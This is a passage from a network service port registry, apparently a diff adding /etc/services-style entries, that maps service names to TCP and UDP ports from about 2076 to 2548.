JSPConfig +newlixconfig 2076/udp Newlix JSPConfig +trellisagt 2077/tcp TrelliSoft Agent +trellisagt 2077/udp TrelliSoft Agent +trellissvr 2078/tcp TrelliSoft Server +trellissvr 2078/udp TrelliSoft Server +idware-router 2079/tcp IDWARE Router Port +idware-router 2079/udp IDWARE Router Port +autodesk-nlm 2080/tcp Autodesk NLM (FLEXlm) +autodesk-nlm 2080/udp Autodesk NLM (FLEXlm) +kme-trap-port 2081/tcp KME PRINTER TRAP PORT +kme-trap-port 2081/udp KME PRINTER TRAP PORT +infowave 2082/tcp Infowave Mobility Server +infowave 2082/udp Infowave Mobiltiy Server +gnunet 2086/tcp GNUnet +gnunet 2086/udp GNUnet +eli 2087/tcp ELI - Event Logging Integration +eli 2087/udp ELI - Event Logging Integration +sep 2089/tcp Security Encapsulation Protocol - SEP +sep 2089/udp Security Encapsulation Protocol - SEP +lrp 2090/tcp Load Report Protocol +lrp 2090/udp Load Report Protocol +prp 2091/tcp PRP +prp 2091/udp PRP +descent3 2092/tcp Descent 3 +descent3 2092/udp Descent 3 +nbx-cc 2093/tcp NBX CC +nbx-cc 2093/udp NBX CC +nbx-au 2094/tcp NBX AU +nbx-au 2094/udp NBX AU +nbx-ser 2095/tcp NBX SER +nbx-ser 2095/udp NBX SER +nbx-dir 2096/tcp NBX DIR +nbx-dir 2096/udp NBX DIR +jetformpreview 2097/tcp Jet Form Preview +jetformpreview 2097/udp Jet Form Preview +dialog-port 2098/tcp Dialog Port +dialog-port 2098/udp Dialog Port +h2250-annex-g 2099/tcp H.225.0 Annex G +h2250-annex-g 2099/udp H.225.0 Annex G +amiganetfs 2100/tcp Amiga Network Filesystem +amiganetfs 2100/udp Amiga Network Filesystem +rtcm-sc104 2101/tcp rtcm-sc104 +rtcm-sc104 2101/udp rtcm-sc104 +zephyr-srv 2102/tcp Zephyr server +zephyr-srv 2102/udp Zephyr server +zephyr-clt 2103/tcp Zephyr serv-hm connection +zephyr-clt 2103/udp Zephyr serv-hm connection +zephyr-hm 2104/tcp Zephyr hostmanager +zephyr-hm 2104/udp Zephyr hostmanager +minipay 2105/tcp MiniPay +minipay 2105/udp MiniPay +mzap 2106/tcp MZAP +mzap 2106/udp MZAP +bintec-admin 2107/tcp BinTec Admin +bintec-admin 2107/udp BinTec Admin +comcam 2108/tcp Comcam +comcam 2108/udp Comcam +ergolight 2109/tcp Ergolight +ergolight 2109/udp Ergolight +umsp 2110/tcp UMSP +umsp 2110/udp UMSP +dsatp 2111/tcp DSATP +dsatp 2111/udp DSATP +idonix-metanet 2112/tcp Idonix MetaNet +idonix-metanet 2112/udp Idonix MetaNet +hsl-storm 2113/tcp HSL StoRM +hsl-storm 2113/udp HSL StoRM +newheights 2114/tcp NEWHEIGHTS +newheights 2114/udp NEWHEIGHTS +kdm 2115/tcp Key Distribution Manager +kdm 2115/udp Key Distribution Manager +ccowcmr 2116/tcp CCOWCMR +ccowcmr 2116/udp CCOWCMR +mentaclient 2117/tcp MENTACLIENT +mentaclient 2117/udp MENTACLIENT +mentaserver 2118/tcp MENTASERVER +mentaserver 2118/udp MENTASERVER +gsigatekeeper 2119/tcp GSIGATEKEEPER +gsigatekeeper 2119/udp GSIGATEKEEPER +qencp 2120/tcp Quick Eagle Networks CP +qencp 2120/udp Quick Eagle Networks CP +scientia-ssdb 2121/tcp SCIENTIA-SSDB +scientia-ssdb 2121/udp SCIENTIA-SSDB +caupc-remote 2122/tcp CauPC Remote Control +caupc-remote 2122/udp CauPC Remote Control +gtp-control 2123/tcp GTP-Control Plane (3GPP) +gtp-control 2123/udp GTP-Control Plane (3GPP) +elatelink 2124/tcp ELATELINK +elatelink 2124/udp ELATELINK +lockstep 2125/tcp LOCKSTEP +lockstep 2125/udp LOCKSTEP +pktcable-cops 2126/tcp PktCable-COPS +pktcable-cops 2126/udp PktCable-COPS +index-pc-wb 2127/tcp INDEX-PC-WB +index-pc-wb 2127/udp INDEX-PC-WB +net-steward 2128/tcp Net Steward Control +net-steward 2128/udp Net Steward Control +cs-live 2129/tcp cs-live.com +cs-live 2129/udp cs-live.com +swc-xds 2130/tcp SWC-XDS +swc-xds 2130/udp SWC-XDS +avantageb2b 2131/tcp Avantageb2b +avantageb2b 2131/udp Avantageb2b +avail-epmap 2132/tcp AVAIL-EPMAP +avail-epmap 2132/udp AVAIL-EPMAP +zymed-zpp 2133/tcp ZYMED-ZPP +zymed-zpp 2133/udp ZYMED-ZPP +avenue 2134/tcp AVENUE +avenue 2134/udp AVENUE +gris 2135/tcp Grid Resource Information Server +gris 2135/udp Grid Resource Information Server +appworxsrv 2136/tcp APPWORXSRV +appworxsrv 2136/udp APPWORXSRV +connect 2137/tcp CONNECT +connect 2137/udp CONNECT +unbind-cluster 2138/tcp UNBIND-CLUSTER +unbind-cluster 2138/udp UNBIND-CLUSTER +ias-auth 2139/tcp IAS-AUTH +ias-auth 2139/udp IAS-AUTH +ias-reg 2140/tcp IAS-REG +ias-reg 2140/udp IAS-REG +ias-admind 2141/tcp IAS-ADMIND +ias-admind 2141/udp IAS-ADMIND +tdm-over-ip 2142/tcp TDM-OVER-IP +tdm-over-ip 2142/udp TDM-OVER-IP +lv-jc 2143/tcp Live Vault Job Control +lv-jc 2143/udp Live Vault Job Control +lv-ffx 2144/tcp Live Vault Fast Object Transfer +lv-ffx 2144/udp Live Vault Fast Object Transfer +lv-pici 2145/tcp Live Vault Remote Diagnostic Console Support +lv-pici 2145/udp Live Vault Remote Diagnostic Console Support +lv-not 2146/tcp Live Vault Admin Event Notification +lv-not 2146/udp Live Vault Admin Event Notification +lv-auth 2147/tcp Live Vault Authentication +lv-auth 2147/udp Live Vault Authentication +veritas-ucl 2148/tcp VERITAS UNIVERSAL COMMUNICATION LAYER +veritas-ucl 2148/udp VERITAS UNIVERSAL COMMUNICATION LAYER +acptsys 2149/tcp ACPTSYS +acptsys 2149/udp ACPTSYS +dynamic3d 2150/tcp DYNAMIC3D +dynamic3d 2150/udp DYNAMIC3D +docent 2151/tcp DOCENT +docent 2151/udp DOCENT +gtp-user 2152/tcp GTP-User Plane (3GPP) +gtp-user 2152/udp GTP-User Plane (3GPP) +gdbremote 2159/tcp GDB Remote Debug Port +gdbremote 2159/udp GDB Remote Debug Port +apc-2160 2160/tcp APC 2160 +apc-2160 2160/udp APC 2160 +apc-2161 2161/tcp APC 2161 +apc-2161 2161/udp APC 2161 +navisphere 2162/tcp Navisphere +navisphere 2162/udp Navisphere +navisphere-sec 2163/tcp Navisphere Secure +navisphere-sec 2163/udp Navisphere Secure +ddns-v3 2164/tcp Dynamic DNS Version 3 +ddns-v3 2164/udp Dynamic DNS Version 3 +x-bone-api 2165/tcp X-Bone API +x-bone-api 2165/udp X-Bone API +iwserver 2166/tcp iwserver +iwserver 2166/udp iwserver +raw-serial 2167/tcp Raw Async Serial Link +raw-serial 2167/udp Raw Async Serial Link +mc-gt-srv 2180/tcp Millicent Vendor Gateway Server +mc-gt-srv 2180/udp Millicent Vendor Gateway Server +eforward 2181/tcp eforward +eforward 2181/udp eforward +tivoconnect 2190/tcp TiVoConnect Beacon +tivoconnect 2190/udp TiVoConnect Beacon +tvbus 2191/tcp TvBus Messaging +tvbus 2191/udp TvBus Messaging +ici 2200/tcp ICI +ici 2200/udp ICI +ats 2201/tcp Advanced Training System Program +ats 2201/udp Advanced Training System Program +imtc-map 2202/tcp Int. Multimedia Teleconferencing Cosortium +imtc-map 2202/udp Int. Multimedia Teleconferencing Cosortium +kali 2213/tcp Kali +kali 2213/udp Kali +netiq 2220/tcp NetIQ End2End +netiq 2220/udp NetIQ End2End +rockwell-csp1 2221/tcp Rockwell CSP1 +rockwell-csp1 2221/udp Rockwell CSP1 +rockwell-csp2 2222/tcp Rockwell CSP2 +rockwell-csp2 2222/udp Rockwell CSP2 +rockwell-csp3 2223/tcp Rockwell CSP3 +rockwell-csp3 2223/udp Rockwell CSP3 +ivs-video 2232/tcp IVS Video default +ivs-video 2232/udp IVS Video default +infocrypt 2233/tcp INFOCRYPT +infocrypt 2233/udp INFOCRYPT +directplay 2234/tcp DirectPlay +directplay 2234/udp DirectPlay +sercomm-wlink 2235/tcp Sercomm-WLink +sercomm-wlink 2235/udp Sercomm-WLink +nani 2236/tcp Nani +nani 2236/udp Nani +optech-port1-lm 2237/tcp Optech Port1 License Manager +optech-port1-lm 2237/udp Optech Port1 License Manager +aviva-sna 2238/tcp AVIVA SNA SERVER +aviva-sna 2238/udp AVIVA SNA SERVER +imagequery 2239/tcp Image Query +imagequery 2239/udp Image Query +recipe 2240/tcp RECIPe +recipe 2240/udp RECIPe +ivsd 2241/tcp IVS Daemon +ivsd 2241/udp IVS Daemon +foliocorp 2242/tcp Folio Remote Server +foliocorp 2242/udp Folio Remote Server +magicom 2243/tcp Magicom Protocol +magicom 2243/udp Magicom Protocol +nmsserver 2244/tcp NMS Server +nmsserver 2244/udp NMS Server +hao 2245/tcp HaO +hao 2245/udp HaO +pc-mta-addrmap 2246/tcp PacketCable MTA Addr Map +pc-mta-addrmap 2246/udp PacketCable MTA Addr Map +ums 2248/tcp User Management Service +ums 2248/udp User Management Service +rfmp 2249/tcp RISO File Manager Protocol +rfmp 2249/udp RISO File Manager Protocol +remote-collab 2250/tcp remote-collab +remote-collab 2250/udp remote-collab +dif-port 2251/tcp Distributed Framework Port +dif-port 2251/udp Distributed Framework Port +njenet-ssl 2252/tcp NJENET using SSL +njenet-ssl 2252/udp NJENET using SSL +dtv-chan-req 2253/tcp DTV Channel Request +dtv-chan-req 2253/udp DTV Channel Request +seispoc 2254/tcp Seismic P.O.C. Port +seispoc 2254/udp Seismic P.O.C. Port +vrtp 2255/tcp VRTP - ViRtue Transfer Protocol +vrtp 2255/udp VRTP - ViRtue Transfer Protocol +apc-2260 2260/tcp APC 2260 +apc-2260 2260/udp APC 2260 +mfserver 2266/tcp M-Files Server +mfserver 2266/udp M-files Server +xmquery 2279/tcp xmquery +xmquery 2279/udp xmquery +lnvpoller 2280/tcp LNVPOLLER +lnvpoller 2280/udp LNVPOLLER +lnvconsole 2281/tcp LNVCONSOLE +lnvconsole 2281/udp LNVCONSOLE +lnvalarm 2282/tcp LNVALARM +lnvalarm 2282/udp LNVALARM +lnvstatus 2283/tcp LNVSTATUS +lnvstatus 2283/udp LNVSTATUS +lnvmaps 2284/tcp LNVMAPS +lnvmaps 2284/udp LNVMAPS +lnvmailmon 2285/tcp LNVMAILMON +lnvmailmon 2285/udp LNVMAILMON +nas-metering 2286/tcp NAS-Metering +nas-metering 2286/udp NAS-Metering +dna 2287/tcp DNA +dna 2287/udp DNA +netml 2288/tcp NETML +netml 2288/udp NETML +konshus-lm 2294/tcp Konshus License Manager (FLEX) +konshus-lm 2294/udp Konshus License Manager (FLEX) +advant-lm 2295/tcp Advant License Manager +advant-lm 2295/udp Advant License Manager +theta-lm 2296/tcp Theta License Manager (Rainbow) +theta-lm 2296/udp Theta License Manager (Rainbow) +d2k-datamover1 2297/tcp D2K DataMover 1 +d2k-datamover1 2297/udp D2K DataMover 1 +d2k-datamover2 2298/tcp D2K DataMover 2 +d2k-datamover2 2298/udp D2K DataMover 2 +pc-telecommute 2299/tcp PC Telecommute +pc-telecommute 2299/udp PC Telecommute +cvmmon 2300/tcp CVMMON +cvmmon 2300/udp CVMMON +cpq-wbem 2301/tcp Compaq HTTP +cpq-wbem 2301/udp Compaq HTTP +binderysupport 2302/tcp Bindery Support +binderysupport 2302/udp Bindery Support +proxy-gateway 2303/tcp Proxy Gateway +proxy-gateway 2303/udp Proxy Gateway +attachmate-uts 2304/tcp Attachmate UTS +attachmate-uts 2304/udp Attachmate UTS +mt-scaleserver 2305/tcp MT ScaleServer +mt-scaleserver 2305/udp MT ScaleServer +tappi-boxnet 2306/tcp TAPPI BoxNet +tappi-boxnet 2306/udp TAPPI BoxNet +pehelp 2307/tcp pehelp +pehelp 2307/udp pehelp +sdhelp 2308/tcp sdhelp +sdhelp 2308/udp sdhelp +sdserver 2309/tcp SD Server +sdserver 2309/udp SD Server +sdclient 2310/tcp SD Client +sdclient 2310/udp SD Client +messageservice 2311/tcp Message Service +messageservice 2311/udp Message Service +iapp 2313/tcp IAPP (Inter Access Point Protocol) +iapp 2313/udp IAPP (Inter Access Point Protocol) +cr-websystems 2314/tcp CR WebSystems +cr-websystems 2314/udp CR WebSystems +precise-sft 2315/tcp Precise Sft. +precise-sft 2315/udp Precise Sft. +sent-lm 2316/tcp SENT License Manager +sent-lm 2316/udp SENT License Manager +attachmate-g32 2317/tcp Attachmate G32 +attachmate-g32 2317/udp Attachmate G32 +cadencecontrol 2318/tcp Cadence Control +cadencecontrol 2318/udp Cadence Control +infolibria 2319/tcp InfoLibria +infolibria 2319/udp InfoLibria +siebel-ns 2320/tcp Siebel NS +siebel-ns 2320/udp Siebel NS +rdlap 2321/tcp RDLAP +rdlap 2321/udp RDLAP +ofsd 2322/tcp ofsd +ofsd 2322/udp ofsd +3d-nfsd 2323/tcp 3d-nfsd +3d-nfsd 2323/udp 3d-nfsd +cosmocall 2324/tcp Cosmocall +cosmocall 2324/udp Cosmocall +designspace-lm 2325/tcp Design Space License Management +designspace-lm 2325/udp Design Space License Management +idcp 2326/tcp IDCP +idcp 2326/udp IDCP +xingcsm 2327/tcp xingcsm +xingcsm 2327/udp xingcsm +netrix-sftm 2328/tcp Netrix SFTM +netrix-sftm 2328/udp Netrix SFTM +nvd 2329/tcp NVD +nvd 2329/udp NVD +tscchat 2330/tcp TSCCHAT +tscchat 2330/udp TSCCHAT +agentview 2331/tcp AGENTVIEW +agentview 2331/udp AGENTVIEW +rcc-host 2332/tcp RCC Host +rcc-host 2332/udp RCC Host +snapp 2333/tcp SNAPP +snapp 2333/udp SNAPP +ace-client 2334/tcp ACE Client Auth +ace-client 2334/udp ACE Client Auth +ace-proxy 2335/tcp ACE Proxy +ace-proxy 2335/udp ACE Proxy +appleugcontrol 2336/tcp Apple UG Control +appleugcontrol 2336/udp Apple UG Control +ideesrv 2337/tcp ideesrv +ideesrv 2337/udp ideesrv +norton-lambert 2338/tcp Norton Lambert +norton-lambert 2338/udp Norton Lambert +3com-webview 2339/tcp 3Com WebView +3com-webview 2339/udp 3Com WebView +wrs_registry 2340/tcp WRS Registry +wrs_registry 2340/udp WRS Registry +xiostatus 2341/tcp XIO Status +xiostatus 2341/udp XIO Status +manage-exec 2342/tcp Seagate Manage Exec +manage-exec 2342/udp Seagate Manage Exec +nati-logos 2343/tcp nati logos +nati-logos 2343/udp nati logos +fcmsys 2344/tcp fcmsys +fcmsys 2344/udp fcmsys +dbm 2345/tcp dbm +dbm 2345/udp dbm +redstorm_join 2346/tcp Game Connection Port +redstorm_join 2346/udp Game Connection Port +redstorm_find 2347/tcp Game Announcement and Location +redstorm_find 2347/udp Game Announcement and Location +redstorm_info 2348/tcp Information to query for game status +redstorm_info 2348/udp Information to query for game status +redstorm_diag 2349/tcp Diagnostics Port +redstorm_diag 2349/udp Diagnostics Port +psbserver 2350/tcp psbserver +psbserver 2350/udp psbserver +psrserver 2351/tcp psrserver +psrserver 2351/udp psrserver +pslserver 2352/tcp pslserver +pslserver 2352/udp pslserver +pspserver 2353/tcp pspserver +pspserver 2353/udp pspserver +psprserver 2354/tcp psprserver +psprserver 2354/udp psprserver +psdbserver 2355/tcp psdbserver +psdbserver 2355/udp psdbserver +gxtelmd 2356/tcp GXT License Managemant +gxtelmd 2356/udp GXT License Managemant +unihub-server 2357/tcp UniHub Server +unihub-server 2357/udp UniHub Server +futrix 2358/tcp Futrix +futrix 2358/udp Futrix +flukeserver 2359/tcp FlukeServer +flukeserver 2359/udp FlukeServer +nexstorindltd 2360/tcp NexstorIndLtd +nexstorindltd 2360/udp NexstorIndLtd +tl1 2361/tcp TL1 +tl1 2361/udp TL1 +digiman 2362/tcp digiman +digiman 2362/udp digiman +mediacntrlnfsd 2363/tcp Media Central NFSD +mediacntrlnfsd 2363/udp Media Central NFSD +oi-2000 2364/tcp OI-2000 +oi-2000 2364/udp OI-2000 +dbref 2365/tcp dbref +dbref 2365/udp dbref +qip-login 2366/tcp qip-login +qip-login 2366/udp qip-login +service-ctrl 2367/tcp Service Control +service-ctrl 2367/udp Service Control +opentable 2368/tcp OpenTable +opentable 2368/udp OpenTable +acs2000-dsp 2369/tcp ACS2000 DSP +acs2000-dsp 2369/udp ACS2000 DSP +l3-hbmon 2370/tcp L3-HBMon +l3-hbmon 2370/udp L3-HBMon +worldwire 2371/tcp Compaq WorldWire Port +worldwire 2371/udp Compaq WorldWire Port +compaq-https 2381/tcp Compaq HTTPS +compaq-https 2381/udp Compaq HTTPS +ms-olap3 2382/tcp Microsoft OLAP +ms-olap3 2382/udp Microsoft OLAP +ms-olap4 2383/tcp Microsoft OLAP +ms-olap4 2383/udp Microsoft OLAP +sd-request 2384/tcp SD-REQUEST +sd-capacity 2384/udp SD-CAPACITY +sd-data 2385/tcp SD-DATA +sd-data 2385/udp SD-DATA +virtualtape 2386/tcp Virtual Tape +virtualtape 2386/udp Virtual Tape +vsamredirector 2387/tcp VSAM Redirector +vsamredirector 2387/udp VSAM Redirector +mynahautostart 2388/tcp MYNAH AutoStart +mynahautostart 2388/udp MYNAH AutoStart +ovsessionmgr 2389/tcp OpenView Session Mgr +ovsessionmgr 2389/udp OpenView Session Mgr +rsmtp 2390/tcp RSMTP +rsmtp 2390/udp RSMTP +3com-net-mgmt 2391/tcp 3COM Net Management +3com-net-mgmt 2391/udp 3COM Net Management +tacticalauth 2392/tcp Tactical Auth +tacticalauth 2392/udp Tactical Auth +ms-olap1 2393/tcp MS OLAP 1 +ms-olap1 2393/udp MS OLAP 1 +ms-olap2 2394/tcp MS OLAP 2 +ms-olap2 2394/udp MS OLAP 2 +lan900_remote 2395/tcp LAN900 Remote +lan900_remote 2395/udp LAN900 Remote +wusage 2396/tcp Wusage +wusage 2396/udp Wusage +ncl 2397/tcp NCL +ncl 2397/udp NCL +orbiter 2398/tcp Orbiter +orbiter 2398/udp Orbiter +fmpro-fdal 2399/tcp FileMaker, Inc. - Data Access Layer +fmpro-fdal 2399/udp FileMaker, Inc. - Data Access Layer +opequus-server 2400/tcp OpEquus Server +opequus-server 2400/udp OpEquus Server +cvspserver 2401/tcp cvspserver +cvspserver 2401/udp cvspserver +taskmaster2000 2402/tcp TaskMaster 2000 Server +taskmaster2000 2402/udp TaskMaster 2000 Server +taskmaster2000 2403/tcp TaskMaster 2000 Web +taskmaster2000 2403/udp TaskMaster 2000 Web +iec-104 2404/tcp IEC 60870-5-104 process control over IP +iec-104 2404/udp IEC 60870-5-104 process control over IP +trc-netpoll 2405/tcp TRC Netpoll +trc-netpoll 2405/udp TRC Netpoll +jediserver 2406/tcp JediServer +jediserver 2406/udp JediServer +orion 2407/tcp Orion +orion 2407/udp Orion +optimanet 2408/tcp OptimaNet +optimanet 2408/udp OptimaNet +sns-protocol 2409/tcp SNS Protocol +sns-protocol 2409/udp SNS Protocol +vrts-registry 2410/tcp VRTS Registry +vrts-registry 2410/udp VRTS Registry +netwave-ap-mgmt 2411/tcp Netwave AP Management +netwave-ap-mgmt 2411/udp Netwave AP Management +cdn 2412/tcp CDN +cdn 2412/udp CDN +orion-rmi-reg 2413/tcp orion-rmi-reg +orion-rmi-reg 2413/udp orion-rmi-reg +beeyond 2414/tcp Beeyond +beeyond 2414/udp Beeyond +codima-rtp 2415/tcp Codima Remote Transaction Protocol +codima-rtp 2415/udp Codima Remote Transaction Protocol +rmtserver 2416/tcp RMT Server +rmtserver 2416/udp RMT Server +composit-server 2417/tcp Composit Server +composit-server 2417/udp Composit Server +cas 2418/tcp cas +cas 2418/udp cas +attachmate-s2s 2419/tcp Attachmate S2S +attachmate-s2s 2419/udp Attachmate S2S +dslremote-mgmt 2420/tcp DSL Remote Management +dslremote-mgmt 2420/udp DSL Remote Management +g-talk 2421/tcp G-Talk +g-talk 2421/udp G-Talk +crmsbits 2422/tcp CRMSBITS +crmsbits 2422/udp CRMSBITS +rnrp 2423/tcp RNRP +rnrp 2423/udp RNRP +kofax-svr 2424/tcp KOFAX-SVR +kofax-svr 2424/udp KOFAX-SVR +fjitsuappmgr 2425/tcp Fujitsu App Manager +fjitsuappmgr 2425/udp Fujitsu App Manager +mgcp-gateway 2427/tcp Media Gateway Control Protocol Gateway +mgcp-gateway 2427/udp Media Gateway Control Protocol Gateway +ott 2428/tcp One Way Trip Time +ott 2428/udp One Way Trip Time +ft-role 2429/tcp FT-ROLE +ft-role 2429/udp FT-ROLE +venus 2430/tcp venus +venus 2430/udp venus +venus-se 2431/tcp venus-se +venus-se 2431/udp venus-se +codasrv 2432/tcp codasrv +codasrv 2432/udp codasrv +codasrv-se 2433/tcp codasrv-se +codasrv-se 2433/udp codasrv-se +pxc-epmap 2434/tcp pxc-epmap +pxc-epmap 2434/udp pxc-epmap +optilogic 2435/tcp OptiLogic +optilogic 2435/udp OptiLogic +topx 2436/tcp TOP/X +topx 2436/udp TOP/X +unicontrol 2437/tcp UniControl +unicontrol 2437/udp UniControl +msp 2438/tcp MSP +msp 2438/udp MSP +sybasedbsynch 2439/tcp SybaseDBSynch +sybasedbsynch 2439/udp SybaseDBSynch +spearway 2440/tcp Spearway Lockers +spearway 2440/udp Spearway Lockers +pvsw-inet 2441/tcp Pervasive I*net Data Server +pvsw-inet 2441/udp Pervasive I*net Data Server +netangel 2442/tcp Netangel +netangel 2442/udp Netangel +powerclientcsf 2443/tcp PowerClient Central Storage Facility +powerclientcsf 2443/udp PowerClient Central Storage Facility +btpp2sectrans 2444/tcp BT PP2 Sectrans +btpp2sectrans 2444/udp BT PP2 Sectrans +dtn1 2445/tcp DTN1 +dtn1 2445/udp DTN1 +bues_service 2446/tcp bues_service +bues_service 2446/udp bues_service +ovwdb 2447/tcp OpenView NNM daemon +ovwdb 2447/udp OpenView NNM daemon +hpppssvr 2448/tcp hpppsvr +hpppssvr 2448/udp hpppsvr +ratl 2449/tcp RATL +ratl 2449/udp RATL +netadmin 2450/tcp netadmin +netadmin 2450/udp netadmin +netchat 2451/tcp netchat +netchat 2451/udp netchat +snifferclient 2452/tcp SnifferClient +snifferclient 2452/udp SnifferClient +madge-ltd 2453/tcp madge ltd +madge-ltd 2453/udp madge ltd +indx-dds 2454/tcp IndX-DDS +indx-dds 2454/udp IndX-DDS +wago-io-system 2455/tcp WAGO-IO-SYSTEM +wago-io-system 2455/udp WAGO-IO-SYSTEM +altav-remmgt 2456/tcp altav-remmgt +altav-remmgt 2456/udp altav-remmgt +rapido-ip 2457/tcp Rapido_IP +rapido-ip 2457/udp Rapido_IP +griffin 2458/tcp griffin +griffin 2458/udp griffin +community 2459/tcp Community +community 2459/udp Community +ms-theater 2460/tcp ms-theater +ms-theater 2460/udp ms-theater +qadmifoper 2461/tcp qadmifoper +qadmifoper 2461/udp qadmifoper +qadmifevent 2462/tcp qadmifevent +qadmifevent 2462/udp qadmifevent +symbios-raid 2463/tcp Symbios Raid +symbios-raid 2463/udp Symbios Raid +direcpc-si 2464/tcp DirecPC SI +direcpc-si 2464/udp DirecPC SI +lbm 2465/tcp Load Balance Management +lbm 2465/udp Load Balance Management +lbf 2466/tcp Load Balance Forwarding +lbf 2466/udp Load Balance Forwarding +high-criteria 2467/tcp High Criteria +high-criteria 2467/udp High Criteria +qip-msgd 2468/tcp qip_msgd +qip-msgd 2468/udp qip_msgd +mti-tcs-comm 2469/tcp MTI-TCS-COMM +mti-tcs-comm 2469/udp MTI-TCS-COMM +taskman-port 2470/tcp taskman port +taskman-port 2470/udp taskman port +seaodbc 2471/tcp SeaODBC +seaodbc 2471/udp SeaODBC +c3 2472/tcp C3 +c3 2472/udp C3 +aker-cdp 2473/tcp Aker-cdp +aker-cdp 2473/udp Aker-cdp +vitalanalysis 2474/tcp Vital Analysis +vitalanalysis 2474/udp Vital Analysis +ace-server 2475/tcp ACE Server +ace-server 2475/udp ACE Server +ace-svr-prop 2476/tcp ACE Server Propagation +ace-svr-prop 2476/udp ACE Server Propagation +ssm-cvs 2477/tcp SecurSight Certificate Valifation Service +ssm-cvs 2477/udp SecurSight Certificate Valifation Service +ssm-cssps 2478/tcp SecurSight Authentication Server (SSL) +ssm-cssps 2478/udp SecurSight Authentication Server (SSL) +ssm-els 2479/tcp SecurSight Event Logging Server (SSL) +ssm-els 2479/udp SecurSight Event Logging Server (SSL) +lingwood 2480/tcp Lingwood's Detail +lingwood 2480/udp Lingwood's Detail +giop 2481/tcp Oracle GIOP +giop 2481/udp Oracle GIOP +giop-ssl 2482/tcp Oracle GIOP SSL +giop-ssl 2482/udp Oracle GIOP SSL +ttc 2483/tcp Oracle TTC +ttc 2483/udp Oracle TTC +ttc-ssl 2484/tcp Oracle TTC SSL +ttc-ssl 2484/udp Oracle TTC SSL +netobjects1 2485/tcp Net Objects1 +netobjects1 2485/udp Net Objects1 +netobjects2 2486/tcp Net Objects2 +netobjects2 2486/udp Net Objects2 +pns 2487/tcp Policy Notice Service +pns 2487/udp Policy Notice Service +moy-corp 2488/tcp Moy Corporation +moy-corp 2488/udp Moy Corporation +tsilb 2489/tcp TSILB +tsilb 2489/udp TSILB +qip-qdhcp 2490/tcp qip_qdhcp +qip-qdhcp 2490/udp qip_qdhcp +conclave-cpp 2491/tcp Conclave CPP +conclave-cpp 2491/udp Conclave CPP +groove 2492/tcp GROOVE +groove 2492/udp GROOVE +talarian-mqs 2493/tcp Talarian MQS +talarian-mqs 2493/udp Talarian MQS +bmc-ar 2494/tcp BMC AR +bmc-ar 2494/udp BMC AR +fast-rem-serv 2495/tcp Fast Remote Services +fast-rem-serv 2495/udp Fast Remote Services +dirgis 2496/tcp DIRGIS +dirgis 2496/udp DIRGIS +quaddb 2497/tcp Quad DB +quaddb 2497/udp Quad DB +odn-castraq 2498/tcp ODN-CasTraq +odn-castraq 2498/udp ODN-CasTraq +unicontrol 2499/tcp UniControl +unicontrol 2499/udp UniControl +rtsserv 2500/tcp Resource Tracking system server +rtsserv 2500/udp Resource Tracking system server +rtsclient 2501/tcp Resource Tracking system client +rtsclient 2501/udp Resource Tracking system client +kentrox-prot 2502/tcp Kentrox Protocol +kentrox-prot 2502/udp Kentrox Protocol +nms-dpnss 2503/tcp NMS-DPNSS +nms-dpnss 2503/udp NMS-DPNSS +wlbs 2504/tcp WLBS +wlbs 2504/udp WLBS +jbroker 2506/tcp jbroker +jbroker 2506/udp jbroker +spock 2507/tcp spock +spock 2507/udp spock +jdatastore 2508/tcp JDataStore +jdatastore 2508/udp JDataStore +fjmpss 2509/tcp fjmpss +fjmpss 2509/udp fjmpss +fjappmgrbulk 2510/tcp fjappmgrbulk +fjappmgrbulk 2510/udp fjappmgrbulk +metastorm 2511/tcp Metastorm +metastorm 2511/udp Metastorm +citrixima 2512/tcp Citrix IMA +citrixima 2512/udp Citrix IMA +citrixadmin 2513/tcp Citrix ADMIN +citrixadmin 2513/udp Citrix ADMIN +facsys-ntp 2514/tcp Facsys NTP +facsys-ntp 2514/udp Facsys NTP +facsys-router 2515/tcp Facsys Router +facsys-router 2515/udp Facsys Router +maincontrol 2516/tcp Main Control +maincontrol 2516/udp Main Control +call-sig-trans 2517/tcp H.323 Annex E call signaling transport +call-sig-trans 2517/udp H.323 Annex E call signaling transport +willy 2518/tcp Willy +willy 2518/udp Willy +globmsgsvc 2519/tcp globmsgsvc +globmsgsvc 2519/udp globmsgsvc +pvsw 2520/tcp Pervasive Listener +pvsw 2520/udp Pervasive Listener +adaptecmgr 2521/tcp Adaptec Manager +adaptecmgr 2521/udp Adaptec Manager +windb 2522/tcp WinDb +windb 2522/udp WinDb +qke-llc-v3 2523/tcp Qke LLC V.3 +qke-llc-v3 2523/udp Qke LLC V.3 +optiwave-lm 2524/tcp Optiwave License Management +optiwave-lm 2524/udp Optiwave License Management +ms-v-worlds 2525/tcp MS V-Worlds +ms-v-worlds 2525/udp MS V-Worlds +ema-sent-lm 2526/tcp EMA License Manager +ema-sent-lm 2526/udp EMA License Manager +iqserver 2527/tcp IQ Server +iqserver 2527/udp IQ Server +ncr_ccl 2528/tcp NCR CCL +ncr_ccl 2528/udp NCR CCL +utsftp 2529/tcp UTS FTP +utsftp 2529/udp UTS FTP +vrcommerce 2530/tcp VR Commerce +vrcommerce 2530/udp VR Commerce +ito-e-gui 2531/tcp ITO-E GUI +ito-e-gui 2531/udp ITO-E GUI +ovtopmd 2532/tcp OVTOPMD +ovtopmd 2532/udp OVTOPMD +snifferserver 2533/tcp SnifferServer +snifferserver 2533/udp SnifferServer +combox-web-acc 2534/tcp Combox Web Access +combox-web-acc 2534/udp Combox Web Access +madcap 2535/tcp MADCAP +madcap 2535/udp MADCAP +btpp2audctr1 2536/tcp btpp2audctr1 +btpp2audctr1 2536/udp btpp2audctr1 +upgrade 2537/tcp Upgrade Protocol +upgrade 2537/udp Upgrade Protocol +vnwk-prapi 2538/tcp vnwk-prapi +vnwk-prapi 2538/udp vnwk-prapi +vsiadmin 2539/tcp VSI Admin +vsiadmin 2539/udp VSI Admin +lonworks 2540/tcp LonWorks +lonworks 2540/udp LonWorks +lonworks2 2541/tcp LonWorks2 +lonworks2 2541/udp LonWorks2 +davinci 2542/tcp daVinci Presenter +davinci 2542/udp daVinci Presenter +reftek 2543/tcp REFTEK +reftek 2543/udp REFTEK +novell-zen 2544/tcp Novell ZEN +novell-zen 2544/udp Novell ZEN +sis-emt 2545/tcp sis-emt +sis-emt 2545/udp sis-emt +vytalvaultbrtp 2546/tcp vytalvaultbrtp +vytalvaultbrtp 2546/udp vytalvaultbrtp +vytalvaultvsmp 2547/tcp vytalvaultvsmp +vytalvaultvsmp 2547/udp vytalvaultvsmp +vytalvaultpipe 2548/tcp vytalvaultpipe +vytalvaultpipe 2548/udp vytalvaultpipe +ipass 